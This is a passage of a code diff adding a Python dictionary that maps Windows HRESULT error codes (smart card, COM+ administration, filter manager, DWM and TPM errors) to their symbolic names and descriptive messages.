+        0x80100004: ("SCARD_E_INVALID_PARAMETER", "One or more of the supplied parameters could not be properly interpreted."),
+        0x80100005: ("SCARD_E_INVALID_TARGET", "Registry startup information is missing or invalid."),
+        0x80100006: ("SCARD_E_NO_MEMORY", "Not enough memory available to complete this command."),
+        0x80100007: ("SCARD_F_WAITED_TOO_LONG", "An internal consistency timer has expired."),
+        0x80100008: ("SCARD_E_INSUFFICIENT_BUFFER", "The data buffer to receive returned data is too small for the returned data."),
+        0x80100009: ("SCARD_E_UNKNOWN_READER", "The specified reader name is not recognized."),
+        0x8010000A: ("SCARD_E_TIMEOUT", "The user-specified time-out value has expired."),
+        0x8010000B: ("SCARD_E_SHARING_VIOLATION", "The smart card cannot be accessed because of other connections outstanding."),
+        0x8010000C: ("SCARD_E_NO_SMARTCARD", "The operation requires a smart card, but no smart card is currently in the device."),
+        0x8010000D: ("SCARD_E_UNKNOWN_CARD", "The specified smart card name is not recognized."),
+        0x8010000E: ("SCARD_E_CANT_DISPOSE", "The system could not dispose of the media in the requested manner."),
+        0x8010000F: ("SCARD_E_PROTO_MISMATCH", "The requested protocols are incompatible with the protocol currently in use with the smart card."),
+        0x80100010: ("SCARD_E_NOT_READY", "The reader or smart card is not ready to accept commands."),
+        0x80100011: ("SCARD_E_INVALID_VALUE", "One or more of the supplied parameters values could not be properly interpreted."),
+        0x80100012: ("SCARD_E_SYSTEM_CANCELLED", "The action was canceled by the system, presumably to log off or shut down."),
+        0x80100013: ("SCARD_F_COMM_ERROR", "An internal communications error has been detected."),
+        0x80100014: ("SCARD_F_UNKNOWN_ERROR", "An internal error has been detected, but the source is unknown."),
+        0x80100015: ("SCARD_E_INVALID_ATR", "An automatic terminal recognition (ATR) obtained from the registry is not a valid ATR string."),
+        0x80100016: ("SCARD_E_NOT_TRANSACTED", "An attempt was made to end a nonexistent transaction."),
+        0x80100017: ("SCARD_E_READER_UNAVAILABLE", "The specified reader is not currently available for use."),
+        0x80100018: ("SCARD_P_SHUTDOWN", "The operation has been aborted to allow the server application to exit."),
+        0x80100019: ("SCARD_E_PCI_TOO_SMALL", "The peripheral component interconnect (PCI) Receive buffer was too small."),
+        0x8010001A: ("SCARD_E_READER_UNSUPPORTED", "The reader driver does not meet minimal requirements for support."),
+        0x8010001B: ("SCARD_E_DUPLICATE_READER", "The reader driver did not produce a unique reader name."),
+        0x8010001C: ("SCARD_E_CARD_UNSUPPORTED", "The smart card does not meet minimal requirements for support."),
+        0x8010001D: ("SCARD_E_NO_SERVICE", "The smart card resource manager is not running."),
+        0x8010001E: ("SCARD_E_SERVICE_STOPPED", "The smart card resource manager has shut down."),
+        0x8010001F: ("SCARD_E_UNEXPECTED", "An unexpected card error has occurred."),
+        0x80100020: ("SCARD_E_ICC_INSTALLATION", "No primary provider can be found for the smart card."),
+        0x80100021: ("SCARD_E_ICC_CREATEORDER", "The requested order of object creation is not supported."),
+        0x80100022: ("SCARD_E_UNSUPPORTED_FEATURE", "This smart card does not support the requested feature."),
+        0x80100023: ("SCARD_E_DIR_NOT_FOUND", "The identified directory does not exist in the smart card."),
+        0x80100024: ("SCARD_E_FILE_NOT_FOUND", "The identified file does not exist in the smart card."),
+        0x80100025: ("SCARD_E_NO_DIR", "The supplied path does not represent a smart card directory."),
+        0x80100026: ("SCARD_E_NO_FILE", "The supplied path does not represent a smart card file."),
+        0x80100027: ("SCARD_E_NO_ACCESS", "Access is denied to this file."),
+        0x80100028: ("SCARD_E_WRITE_TOO_MANY", "The smart card does not have enough memory to store the information."),
+        0x80100029: ("SCARD_E_BAD_SEEK", "There was an error trying to set the smart card file object pointer."),
+        0x8010002A: ("SCARD_E_INVALID_CHV", "The supplied PIN is incorrect."),
+        0x8010002B: ("SCARD_E_UNKNOWN_RES_MNG", "An unrecognized error code was returned from a layered component."),
+        0x8010002C: ("SCARD_E_NO_SUCH_CERTIFICATE", "The requested certificate does not exist."),
+        0x8010002D: ("SCARD_E_CERTIFICATE_UNAVAILABLE", "The requested certificate could not be obtained."),
+        0x8010002E: ("SCARD_E_NO_READERS_AVAILABLE", "Cannot find a smart card reader."),
+        0x8010002F: ("SCARD_E_COMM_DATA_LOST", "A communications error with the smart card has been detected. Retry the operation."),
+        0x80100030: ("SCARD_E_NO_KEY_CONTAINER", "The requested key container does not exist on the smart card."),
+        0x80100031: ("SCARD_E_SERVER_TOO_BUSY", "The smart card resource manager is too busy to complete this operation."),
+        0x80100065: ("SCARD_W_UNSUPPORTED_CARD", "The reader cannot communicate with the smart card, due to ATR configuration conflicts."),
+        0x80100066: ("SCARD_W_UNRESPONSIVE_CARD", "The smart card is not responding to a reset."),
+        0x80100067: ("SCARD_W_UNPOWERED_CARD", "Power has been removed from the smart card, so that further communication is not possible."),
+        0x80100068: ("SCARD_W_RESET_CARD", "The smart card has been reset, so any shared state information is invalid."),
+        0x80100069: ("SCARD_W_REMOVED_CARD", "The smart card has been removed, so that further communication is not possible."),
+        0x8010006A: ("SCARD_W_SECURITY_VIOLATION", "Access was denied because of a security violation."),
+        0x8010006B: ("SCARD_W_WRONG_CHV", "The card cannot be accessed because the wrong PIN was presented."),
+        0x8010006C: ("SCARD_W_CHV_BLOCKED", "The card cannot be accessed because the maximum number of PIN entry attempts has been reached."),
+        0x8010006D: ("SCARD_W_EOF", "The end of the smart card file has been reached."),
+        0x8010006E: ("SCARD_W_CANCELLED_BY_USER", "The action was canceled by the user."),
+        0x8010006F: ("SCARD_W_CARD_NOT_AUTHENTICATED", "No PIN was presented to the smart card."),
+        0x80110401: ("COMADMIN_E_OBJECTERRORS", "Errors occurred accessing one or more objects-the ErrorInfo collection may have more detail."),
+        0x80110402: ("COMADMIN_E_OBJECTINVALID", "One or more of the object's properties are missing or invalid."),
+        0x80110403: ("COMADMIN_E_KEYMISSING", "The object was not found in the catalog."),
+        0x80110404: ("COMADMIN_E_ALREADYINSTALLED", "The object is already registered."),
+        0x80110407: ("COMADMIN_E_APP_FILE_WRITEFAIL", "An error occurred writing to the application file."),
+        0x80110408: ("COMADMIN_E_APP_FILE_READFAIL", "An error occurred reading the application file."),
+        0x80110409: ("COMADMIN_E_APP_FILE_VERSION", "Invalid version number in application file."),
+        0x8011040A: ("COMADMIN_E_BADPATH", "The file path is invalid."),
+        0x8011040B: ("COMADMIN_E_APPLICATIONEXISTS", "The application is already installed."),
+        0x8011040C: ("COMADMIN_E_ROLEEXISTS", "The role already exists."),
+        0x8011040D: ("COMADMIN_E_CANTCOPYFILE", "An error occurred copying the file."),
+        0x8011040F: ("COMADMIN_E_NOUSER", "One or more users are not valid."),
+        0x80110410: ("COMADMIN_E_INVALIDUSERIDS", "One or more users in the application file are not valid."),
+        0x80110411: ("COMADMIN_E_NOREGISTRYCLSID", "The component's CLSID is missing or corrupt."),
+        0x80110412: ("COMADMIN_E_BADREGISTRYPROGID", "The component's programmatic ID is missing or corrupt."),
+        0x80110413: ("COMADMIN_E_AUTHENTICATIONLEVEL", "Unable to set required authentication level for update request."),
+        0x80110414: ("COMADMIN_E_USERPASSWDNOTVALID", "The identity or password set on the application is not valid."),
+        0x80110418: ("COMADMIN_E_CLSIDORIIDMISMATCH", "Application file CLSIDs or instance identifiers (IIDs) do not match corresponding DLLs."),
+        0x80110419: ("COMADMIN_E_REMOTEINTERFACE", "Interface information is either missing or changed."),
+        0x8011041A: ("COMADMIN_E_DLLREGISTERSERVER", "DllRegisterServer failed on component install."),
+        0x8011041B: ("COMADMIN_E_NOSERVERSHARE", "No server file share available."),
+        0x8011041D: ("COMADMIN_E_DLLLOADFAILED", "DLL could not be loaded."),
+        0x8011041E: ("COMADMIN_E_BADREGISTRYLIBID", "The registered TypeLib ID is not valid."),
+        0x8011041F: ("COMADMIN_E_APPDIRNOTFOUND", "Application install directory not found."),
+        0x80110423: ("COMADMIN_E_REGISTRARFAILED", "Errors occurred while in the component registrar."),
+        0x80110424: ("COMADMIN_E_COMPFILE_DOESNOTEXIST", "The file does not exist."),
+        0x80110425: ("COMADMIN_E_COMPFILE_LOADDLLFAIL", "The DLL could not be loaded."),
+        0x80110426: ("COMADMIN_E_COMPFILE_GETCLASSOBJ", "GetClassObject failed in the DLL."),
+        0x80110427: ("COMADMIN_E_COMPFILE_CLASSNOTAVAIL", "The DLL does not support the components listed in the TypeLib."),
+        0x80110428: ("COMADMIN_E_COMPFILE_BADTLB", "The TypeLib could not be loaded."),
+        0x80110429: ("COMADMIN_E_COMPFILE_NOTINSTALLABLE", "The file does not contain components or component information."),
+        0x8011042A: ("COMADMIN_E_NOTCHANGEABLE", "Changes to this object and its subobjects have been disabled."),
+        0x8011042B: ("COMADMIN_E_NOTDELETEABLE", "The delete function has been disabled for this object."),
+        0x8011042C: ("COMADMIN_E_SESSION", "The server catalog version is not supported."),
+        0x8011042D: ("COMADMIN_E_COMP_MOVE_LOCKED", "The component move was disallowed because the source or destination application is either a system application or currently locked against changes."),
+        0x8011042E: ("COMADMIN_E_COMP_MOVE_BAD_DEST", "The component move failed because the destination application no longer exists."),
+        0x80110430: ("COMADMIN_E_REGISTERTLB", "The system was unable to register the TypeLib."),
+        0x80110433: ("COMADMIN_E_SYSTEMAPP", "This operation cannot be performed on the system application."),
+        0x80110434: ("COMADMIN_E_COMPFILE_NOREGISTRAR", "The component registrar referenced in this file is not available."),
+        0x80110435: ("COMADMIN_E_COREQCOMPINSTALLED", "A component in the same DLL is already installed."),
+        0x80110436: ("COMADMIN_E_SERVICENOTINSTALLED", "The service is not installed."),
+        0x80110437: ("COMADMIN_E_PROPERTYSAVEFAILED", "One or more property settings are either invalid or in conflict with each other."),
+        0x80110438: ("COMADMIN_E_OBJECTEXISTS", "The object you are attempting to add or rename already exists."),
+        0x80110439: ("COMADMIN_E_COMPONENTEXISTS", "The component already exists."),
+        0x8011043B: ("COMADMIN_E_REGFILE_CORRUPT", "The registration file is corrupt."),
+        0x8011043C: ("COMADMIN_E_PROPERTY_OVERFLOW", "The property value is too large."),
+        0x8011043E: ("COMADMIN_E_NOTINREGISTRY", "Object was not found in registry."),
+        0x8011043F: ("COMADMIN_E_OBJECTNOTPOOLABLE", "This object cannot be pooled."),
+        0x80110446: ("COMADMIN_E_APPLID_MATCHES_CLSID", "A CLSID with the same GUID as the new application ID is already installed on this machine."),
+        0x80110447: ("COMADMIN_E_ROLE_DOES_NOT_EXIST", "A role assigned to a component, interface, or method did not exist in the application."),
+        0x80110448: ("COMADMIN_E_START_APP_NEEDS_COMPONENTS", "You must have components in an application to start the application."),
+        0x80110449: ("COMADMIN_E_REQUIRES_DIFFERENT_PLATFORM", "This operation is not enabled on this platform."),
+        0x8011044A: ("COMADMIN_E_CAN_NOT_EXPORT_APP_PROXY", "Application proxy is not exportable."),
+        0x8011044B: ("COMADMIN_E_CAN_NOT_START_APP", "Failed to start application because it is either a library application or an application proxy."),
+        0x8011044C: ("COMADMIN_E_CAN_NOT_EXPORT_SYS_APP", "System application is not exportable."),
+        0x8011044D: ("COMADMIN_E_CANT_SUBSCRIBE_TO_COMPONENT", "Cannot subscribe to this component (the component may have been imported)."),
+        0x8011044E: ("COMADMIN_E_EVENTCLASS_CANT_BE_SUBSCRIBER", "An event class cannot also be a subscriber component."),
+        0x8011044F: ("COMADMIN_E_LIB_APP_PROXY_INCOMPATIBLE", "Library applications and application proxies are incompatible."),
+        0x80110450: ("COMADMIN_E_BASE_PARTITION_ONLY", "This function is valid for the base partition only."),
+        0x80110451: ("COMADMIN_E_START_APP_DISABLED", "You cannot start an application that has been disabled."),
+        0x80110457: ("COMADMIN_E_CAT_DUPLICATE_PARTITION_NAME", "The specified partition name is already in use on this computer."),
+        0x80110458: ("COMADMIN_E_CAT_INVALID_PARTITION_NAME", "The specified partition name is invalid. Check that the name contains at least one visible character."),
+        0x80110459: ("COMADMIN_E_CAT_PARTITION_IN_USE", "The partition cannot be deleted because it is the default partition for one or more users."),
+        0x8011045A: ("COMADMIN_E_FILE_PARTITION_DUPLICATE_FILES", "The partition cannot be exported because one or more components in the partition have the same file name."),
+        0x8011045B: ("COMADMIN_E_CAT_IMPORTED_COMPONENTS_NOT_ALLOWED", "Applications that contain one or more imported components cannot be installed into a nonbase partition."),
+        0x8011045C: ("COMADMIN_E_AMBIGUOUS_APPLICATION_NAME", "The application name is not unique and cannot be resolved to an application ID."),
+        0x8011045D: ("COMADMIN_E_AMBIGUOUS_PARTITION_NAME", "The partition name is not unique and cannot be resolved to a partition ID."),
+        0x80110472: ("COMADMIN_E_REGDB_NOTINITIALIZED", "The COM+ registry database has not been initialized."),
+        0x80110473: ("COMADMIN_E_REGDB_NOTOPEN", "The COM+ registry database is not open."),
+        0x80110474: ("COMADMIN_E_REGDB_SYSTEMERR", "The COM+ registry database detected a system error."),
+        0x80110475: ("COMADMIN_E_REGDB_ALREADYRUNNING", "The COM+ registry database is already running."),
+        0x80110480: ("COMADMIN_E_MIG_VERSIONNOTSUPPORTED", "This version of the COM+ registry database cannot be migrated."),
+        0x80110481: ("COMADMIN_E_MIG_SCHEMANOTFOUND", "The schema version to be migrated could not be found in the COM+ registry database."),
+        0x80110482: ("COMADMIN_E_CAT_BITNESSMISMATCH", "There was a type mismatch between binaries."),
+        0x80110483: ("COMADMIN_E_CAT_UNACCEPTABLEBITNESS", "A binary of unknown or invalid type was provided."),
+        0x80110484: ("COMADMIN_E_CAT_WRONGAPPBITNESS", "There was a type mismatch between a binary and an application."),
+        0x80110485: ("COMADMIN_E_CAT_PAUSE_RESUME_NOT_SUPPORTED", "The application cannot be paused or resumed."),
+        0x80110486: ("COMADMIN_E_CAT_SERVERFAULT", "The COM+ catalog server threw an exception during execution."),
+        0x80110600: ("COMQC_E_APPLICATION_NOT_QUEUED", "Only COM+ applications marked \"queued\" can be invoked using the \"queue\" moniker."),
+        0x80110601: ("COMQC_E_NO_QUEUEABLE_INTERFACES", "At least one interface must be marked \"queued\" to create a queued component instance with the \"queue\" moniker."),
+        0x80110602: ("COMQC_E_QUEUING_SERVICE_NOT_AVAILABLE", "Message Queuing is required for the requested operation and is not installed."),
+        0x80110603: ("COMQC_E_NO_IPERSISTSTREAM", "Unable to marshal an interface that does not support IPersistStream."),
+        0x80110604: ("COMQC_E_BAD_MESSAGE", "The message is improperly formatted or was damaged in transit."),
+        0x80110605: ("COMQC_E_UNAUTHENTICATED", "An unauthenticated message was received by an application that accepts only authenticated messages."),
+        0x80110606: ("COMQC_E_UNTRUSTED_ENQUEUER", "The message was requeued or moved by a user not in the QC Trusted User \"role\"."),
+        0x80110701: ("MSDTC_E_DUPLICATE_RESOURCE", "Cannot create a duplicate resource of type Distributed Transaction Coordinator."),
+        0x80110808: ("COMADMIN_E_OBJECT_PARENT_MISSING", "One of the objects being inserted or updated does not belong to a valid parent collection."),
+        0x80110809: ("COMADMIN_E_OBJECT_DOES_NOT_EXIST", "One of the specified objects cannot be found."),
+        0x8011080A: ("COMADMIN_E_APP_NOT_RUNNING", "The specified application is not currently running."),
+        0x8011080B: ("COMADMIN_E_INVALID_PARTITION", "The partitions specified are not valid."),
+        0x8011080D: ("COMADMIN_E_SVCAPP_NOT_POOLABLE_OR_RECYCLABLE", "COM+ applications that run as Windows NT service may not be pooled or recycled."),
+        0x8011080E: ("COMADMIN_E_USER_IN_SET", "One or more users are already assigned to a local partition set."),
+        0x8011080F: ("COMADMIN_E_CANTRECYCLELIBRARYAPPS", "Library applications may not be recycled."),
+        0x80110811: ("COMADMIN_E_CANTRECYCLESERVICEAPPS", "Applications running as Windows NT services may not be recycled."),
+        0x80110812: ("COMADMIN_E_PROCESSALREADYRECYCLED", "The process has already been recycled."),
+        0x80110813: ("COMADMIN_E_PAUSEDPROCESSMAYNOTBERECYCLED", "A paused process may not be recycled."),
+        0x80110814: ("COMADMIN_E_CANTMAKEINPROCSERVICE", "Library applications may not be Windows NT services."),
+        0x80110815: ("COMADMIN_E_PROGIDINUSEBYCLSID", "The ProgID provided to the copy operation is invalid. The ProgID is in use by another registered CLSID."),
+        0x80110816: ("COMADMIN_E_DEFAULT_PARTITION_NOT_IN_SET", "The partition specified as the default is not a member of the partition set."),
+        0x80110817: ("COMADMIN_E_RECYCLEDPROCESSMAYNOTBEPAUSED", "A recycled process may not be paused."),
+        0x80110818: ("COMADMIN_E_PARTITION_ACCESSDENIED", "Access to the specified partition is denied."),
+        0x80110819: ("COMADMIN_E_PARTITION_MSI_ONLY", "Only application files (*.msi files) can be installed into partitions."),
+        0x8011081A: ("COMADMIN_E_LEGACYCOMPS_NOT_ALLOWED_IN_1_0_FORMAT", "Applications containing one or more legacy components may not be exported to 1.0 format."),
+        0x8011081B: ("COMADMIN_E_LEGACYCOMPS_NOT_ALLOWED_IN_NONBASE_PARTITIONS", "Legacy components may not exist in nonbase partitions."),
+        0x8011081C: ("COMADMIN_E_COMP_MOVE_SOURCE", "A component cannot be moved (or copied) from the System Application, an application proxy, or a nonchangeable application."),
+        0x8011081D: ("COMADMIN_E_COMP_MOVE_DEST", "A component cannot be moved (or copied) to the System Application, an application proxy or a nonchangeable application."),
+        0x8011081E: ("COMADMIN_E_COMP_MOVE_PRIVATE", "A private component cannot be moved (or copied) to a library application or to the base partition."),
+        0x8011081F: ("COMADMIN_E_BASEPARTITION_REQUIRED_IN_SET", "The Base Application Partition exists in all partition sets and cannot be removed."),
+        0x80110820: ("COMADMIN_E_CANNOT_ALIAS_EVENTCLASS", "Alas, Event Class components cannot be aliased."),
+        0x80110821: ("COMADMIN_E_PRIVATE_ACCESSDENIED", "Access is denied because the component is private."),
+        0x80110822: ("COMADMIN_E_SAFERINVALID", "The specified SAFER level is invalid."),
+        0x80110823: ("COMADMIN_E_REGISTRY_ACCESSDENIED", "The specified user cannot write to the system registry."),
+        0x80110824: ("COMADMIN_E_PARTITIONS_DISABLED", "COM+ partitions are currently disabled."),
+        0x801F0001: ("ERROR_FLT_NO_HANDLER_DEFINED", "A handler was not defined by the filter for this operation."),
+        0x801F0002: ("ERROR_FLT_CONTEXT_ALREADY_DEFINED", "A context is already defined for this object."),
+        0x801F0003: ("ERROR_FLT_INVALID_ASYNCHRONOUS_REQUEST", "Asynchronous requests are not valid for this operation."),
+        0x801F0004: ("ERROR_FLT_DISALLOW_FAST_IO", "Disallow the Fast IO path for this operation."),
+        0x801F0005: ("ERROR_FLT_INVALID_NAME_REQUEST", "An invalid name request was made. The name requested cannot be retrieved at this time."),
+        0x801F0006: ("ERROR_FLT_NOT_SAFE_TO_POST_OPERATION", "Posting this operation to a worker thread for further processing is not safe at this time because it could lead to a system deadlock."),
+        0x801F0007: ("ERROR_FLT_NOT_INITIALIZED", "The Filter Manager was not initialized when a filter tried to register. Be sure that the Filter Manager is being loaded as a driver."),
+        0x801F0008: ("ERROR_FLT_FILTER_NOT_READY", "The filter is not ready for attachment to volumes because it has not finished initializing (FltStartFiltering has not been called)."),
+        0x801F0009: ("ERROR_FLT_POST_OPERATION_CLEANUP", "The filter must clean up any operation-specific context at this time because it is being removed from the system before the operation is completed by the lower drivers."),
+        0x801F000A: ("ERROR_FLT_INTERNAL_ERROR", "The Filter Manager had an internal error from which it cannot recover; therefore, the operation has been failed. This is usually the result of a filter returning an invalid value from a preoperation callback."),
+        0x801F000B: ("ERROR_FLT_DELETING_OBJECT", "The object specified for this action is in the process of being deleted; therefore, the action requested cannot be completed at this time."),
+        0x801F000C: ("ERROR_FLT_MUST_BE_NONPAGED_POOL", "Nonpaged pool must be used for this type of context."),
+        0x801F000D: ("ERROR_FLT_DUPLICATE_ENTRY", "A duplicate handler definition has been provided for an operation."),
+        0x801F000E: ("ERROR_FLT_CBDQ_DISABLED", "The callback data queue has been disabled."),
+        0x801F000F: ("ERROR_FLT_DO_NOT_ATTACH", "Do not attach the filter to the volume at this time."),
+        0x801F0010: ("ERROR_FLT_DO_NOT_DETACH", "Do not detach the filter from the volume at this time."),
+        0x801F0011: ("ERROR_FLT_INSTANCE_ALTITUDE_COLLISION", "An instance already exists at this altitude on the volume specified."),
+        0x801F0012: ("ERROR_FLT_INSTANCE_NAME_COLLISION", "An instance already exists with this name on the volume specified."),
+        0x801F0013: ("ERROR_FLT_FILTER_NOT_FOUND", "The system could not find the filter specified."),
+        0x801F0014: ("ERROR_FLT_VOLUME_NOT_FOUND", "The system could not find the volume specified."),
+        0x801F0015: ("ERROR_FLT_INSTANCE_NOT_FOUND", "The system could not find the instance specified."),
+        0x801F0016: ("ERROR_FLT_CONTEXT_ALLOCATION_NOT_FOUND", "No registered context allocation definition was found for the given request."),
+        0x801F0017: ("ERROR_FLT_INVALID_CONTEXT_REGISTRATION", "An invalid parameter was specified during context registration."),
+        0x801F0018: ("ERROR_FLT_NAME_CACHE_MISS", "The name requested was not found in the Filter Manager name cache and could not be retrieved from the file system."),
+        0x801F0019: ("ERROR_FLT_NO_DEVICE_OBJECT", "The requested device object does not exist for the given volume."),
+        0x801F001A: ("ERROR_FLT_VOLUME_ALREADY_MOUNTED", "The specified volume is already mounted."),
+        0x801F001B: ("ERROR_FLT_ALREADY_ENLISTED", "The specified Transaction Context is already enlisted in a transaction."),
+        0x801F001C: ("ERROR_FLT_CONTEXT_ALREADY_LINKED", "The specified context is already attached to another object."),
+        0x801F0020: ("ERROR_FLT_NO_WAITER_FOR_REPLY", "No waiter is present for the filter's reply to this message."),
+        0x80260001: ("ERROR_HUNG_DISPLAY_DRIVER_THREAD", "{Display Driver Stopped Responding} The %hs display driver has stopped working normally. Save your work and reboot the system to restore full display functionality. The next time you reboot the machine a dialog will be displayed giving you a chance to report this failure to Microsoft."),
+        0x80261001: ("ERROR_MONITOR_NO_DESCRIPTOR", "Monitor descriptor could not be obtained."),
+        0x80261002: ("ERROR_MONITOR_UNKNOWN_DESCRIPTOR_FORMAT", "Format of the obtained monitor descriptor is not supported by this release."),
+        0x80263001: ("DWM_E_COMPOSITIONDISABLED", "{Desktop Composition is Disabled} The operation could not be completed because desktop composition is disabled."),
+        0x80263002: ("DWM_E_REMOTING_NOT_SUPPORTED", "{Some Desktop Composition APIs Are Not Supported While Remoting} Some desktop composition APIs are not supported while remoting. The operation is not supported while running in a remote session."),
+        0x80263003: ("DWM_E_NO_REDIRECTION_SURFACE_AVAILABLE", "{No DWM Redirection Surface is Available} The Desktop Window Manager (DWM) was unable to provide a redirection surface to complete the DirectX present."),
+        0x80263004: ("DWM_E_NOT_QUEUING_PRESENTS", "{DWM Is Not Queuing Presents for the Specified Window} The window specified is not currently using queued presents."),
+        0x80280000: ("TPM_E_ERROR_MASK", "This is an error mask to convert Trusted Platform Module (TPM) hardware errors to Win32 errors."),
+        0x80280001: ("TPM_E_AUTHFAIL", "Authentication failed."),
+        0x80280002: ("TPM_E_BADINDEX", "The index to a Platform Configuration Register (PCR), DIR, or other register is incorrect."),
+        0x80280003: ("TPM_E_BAD_PARAMETER", "One or more parameters are bad."),
+        0x80280004: ("TPM_E_AUDITFAILURE", "An operation completed successfully but the auditing of that operation failed."),
+        0x80280005: ("TPM_E_CLEAR_DISABLED", "The clear disable flag is set and all clear operations now require physical access."),
+        0x80280006: ("TPM_E_DEACTIVATED", "The TPM is deactivated."),
+        0x80280007: ("TPM_E_DISABLED", "The TPM is disabled."),
+        0x80280008: ("TPM_E_DISABLED_CMD", "The target command has been disabled."),
+        0x80280009: ("TPM_E_FAIL", "The operation failed."),
+        0x8028000A: ("TPM_E_BAD_ORDINAL", "The ordinal was unknown or inconsistent."),
+        0x8028000B: ("TPM_E_INSTALL_DISABLED", "The ability to install an owner is disabled."),
+        0x8028000C: ("TPM_E_INVALID_KEYHANDLE", "The key handle cannot be interpreted."),
+        0x8028000D: ("TPM_E_KEYNOTFOUND", "The key handle points to an invalid key."),
+        0x8028000E: ("TPM_E_INAPPROPRIATE_ENC", "Unacceptable encryption scheme."),
+        0x8028000F: ("TPM_E_MIGRATEFAIL", "Migration authorization failed."),
+        0x80280010: ("TPM_E_INVALID_PCR_INFO", "PCR information could not be interpreted."),
+        0x80280011: ("TPM_E_NOSPACE", "No room to load key."),
+        0x80280012: ("TPM_E_NOSRK", "There is no storage root key (SRK) set."),
+        0x80280013: ("TPM_E_NOTSEALED_BLOB", "An encrypted blob is invalid or was not created by this TPM."),
+        0x80280014: ("TPM_E_OWNER_SET", "There is already an owner."),
+        0x80280015: ("TPM_E_RESOURCES", "The TPM has insufficient internal resources to perform the requested action."),
+        0x80280016: ("TPM_E_SHORTRANDOM", "A random string was too short."),
+        0x80280017: ("TPM_E_SIZE", "The TPM does not have the space to perform the operation."),
+        0x80280018: ("TPM_E_WRONGPCRVAL", "The named PCR value does not match the current PCR value."),
+        0x80280019: ("TPM_E_BAD_PARAM_SIZE", "The paramSize argument to the command has the incorrect value."),
+        0x8028001A: ("TPM_E_SHA_THREAD", "There is no existing SHA-1 thread."),
+        0x8028001B: ("TPM_E_SHA_ERROR", "The calculation is unable to proceed because the existing SHA-1 thread has already encountered an error."),
+        0x8028001C: ("TPM_E_FAILEDSELFTEST", "Self-test has failed and the TPM has shut down."),
+        0x8028001D: ("TPM_E_AUTH2FAIL", "The authorization for the second key in a two-key function failed authorization."),
+        0x8028001E: ("TPM_E_BADTAG", "The tag value sent to for a command is invalid."),
+        0x8028001F: ("TPM_E_IOERROR", "An I/O error occurred transmitting information to the TPM."),
+        0x80280020: ("TPM_E_ENCRYPT_ERROR", "The encryption process had a problem."),
+        0x80280021: ("TPM_E_DECRYPT_ERROR", "The decryption process did not complete."),
+        0x80280022: ("TPM_E_INVALID_AUTHHANDLE", "An invalid handle was used."),
+        0x80280023: ("TPM_E_NO_ENDORSEMENT", "The TPM does not have an endorsement key (EK) installed."),
+        0x80280024: ("TPM_E_INVALID_KEYUSAGE", "The usage of a key is not allowed."),
+        0x80280025: ("TPM_E_WRONG_ENTITYTYPE", "The submitted entity type is not allowed."),
+        0x80280026: ("TPM_E_INVALID_POSTINIT", "The command was received in the wrong sequence relative to TPM_Init and a subsequent TPM_Startup."),
+        0x80280027: ("TPM_E_INAPPROPRIATE_SIG", "Signed data cannot include additional DER information."),
+        0x80280028: ("TPM_E_BAD_KEY_PROPERTY", "The key properties in TPM_KEY_PARMs are not supported by this TPM."),
+        0x80280029: ("TPM_E_BAD_MIGRATION", "The migration properties of this key are incorrect."),
+        0x8028002A: ("TPM_E_BAD_SCHEME", "The signature or encryption scheme for this key is incorrect or not permitted in this situation."),
+        0x8028002B: ("TPM_E_BAD_DATASIZE", "The size of the data (or blob) parameter is bad or inconsistent with the referenced key."),
+        0x8028002C: ("TPM_E_BAD_MODE", "A mode parameter is bad, such as capArea or subCapArea for TPM_GetCapability, physicalPresence parameter for TPM_PhysicalPresence, or migrationType for TPM_CreateMigrationBlob."),
+        0x8028002D: ("TPM_E_BAD_PRESENCE", "Either the physicalPresence or physicalPresenceLock bits have the wrong value."),
+        0x8028002E: ("TPM_E_BAD_VERSION", "The TPM cannot perform this version of the capability."),
+        0x8028002F: ("TPM_E_NO_WRAP_TRANSPORT", "The TPM does not allow for wrapped transport sessions."),
+        0x80280030: ("TPM_E_AUDITFAIL_UNSUCCESSFUL", "TPM audit construction failed and the underlying command was returning a failure code also."),
+        0x80280031: ("TPM_E_AUDITFAIL_SUCCESSFUL", "TPM audit construction failed and the underlying command was returning success."),
+        0x80280032: ("TPM_E_NOTRESETABLE", "Attempt to reset a PCR that does not have the resettable attribute."),
+        0x80280033: ("TPM_E_NOTLOCAL", "Attempt to reset a PCR register that requires locality and the locality modifier not part of command transport."),
+        0x80280034: ("TPM_E_BAD_TYPE", "Make identity blob not properly typed."),
+        0x80280035: ("TPM_E_INVALID_RESOURCE", "When saving context identified resource type does not match actual resource."),
+        0x80280036: ("TPM_E_NOTFIPS", "The TPM is attempting to execute a command only available when in Federal Information Processing Standards (FIPS) mode."),
+        0x80280037: ("TPM_E_INVALID_FAMILY", "The command is attempting to use an invalid family ID."),
+        0x80280038: ("TPM_E_NO_NV_PERMISSION", "The permission to manipulate the NV storage is not available."),
+        0x80280039: ("TPM_E_REQUIRES_SIGN", "The operation requires a signed command."),
+        0x8028003A: ("TPM_E_KEY_NOTSUPPORTED", "Wrong operation to load an NV key."),
+        0x8028003B: ("TPM_E_AUTH_CONFLICT", "NV_LoadKey blob requires both owner and blob authorization."),
+        0x8028003C: ("TPM_E_AREA_LOCKED", "The NV area is locked and not writable."),
+        0x8028003D: ("TPM_E_BAD_LOCALITY", "The locality is incorrect for the attempted operation."),
+        0x8028003E: ("TPM_E_READ_ONLY", "The NV area is read-only and cannot be written to."),
+        0x8028003F: ("TPM_E_PER_NOWRITE", "There is no protection on the write to the NV area."),
+        0x80280040: ("TPM_E_FAMILYCOUNT", "The family count value does not match."),
+        0x80280041: ("TPM_E_WRITE_LOCKED", "The NV area has already been written to."),
+        0x80280042: ("TPM_E_BAD_ATTRIBUTES", "The NV area attributes conflict."),
+        0x80280043: ("TPM_E_INVALID_STRUCTURE", "The structure tag and version are invalid or inconsistent."),
+        0x80280044: ("TPM_E_KEY_OWNER_CONTROL", "The key is under control of the TPM owner and can only be evicted by the TPM owner."),
+        0x80280045: ("TPM_E_BAD_COUNTER", "The counter handle is incorrect."),
+        0x80280046: ("TPM_E_NOT_FULLWRITE", "The write is not a complete write of the area."),
+        0x80280047: ("TPM_E_CONTEXT_GAP", "The gap between saved context counts is too large."),
+        0x80280048: ("TPM_E_MAXNVWRITES", "The maximum number of NV writes without an owner has been exceeded."),
+        0x80280049: ("TPM_E_NOOPERATOR", "No operator AuthData value is set."),
+        0x8028004A: ("TPM_E_RESOURCEMISSING", "The resource pointed to by context is not loaded."),
+        0x8028004B: ("TPM_E_DELEGATE_LOCK", "The delegate administration is locked."),
+        0x8028004C: ("TPM_E_DELEGATE_FAMILY", "Attempt to manage a family other then the delegated family."),
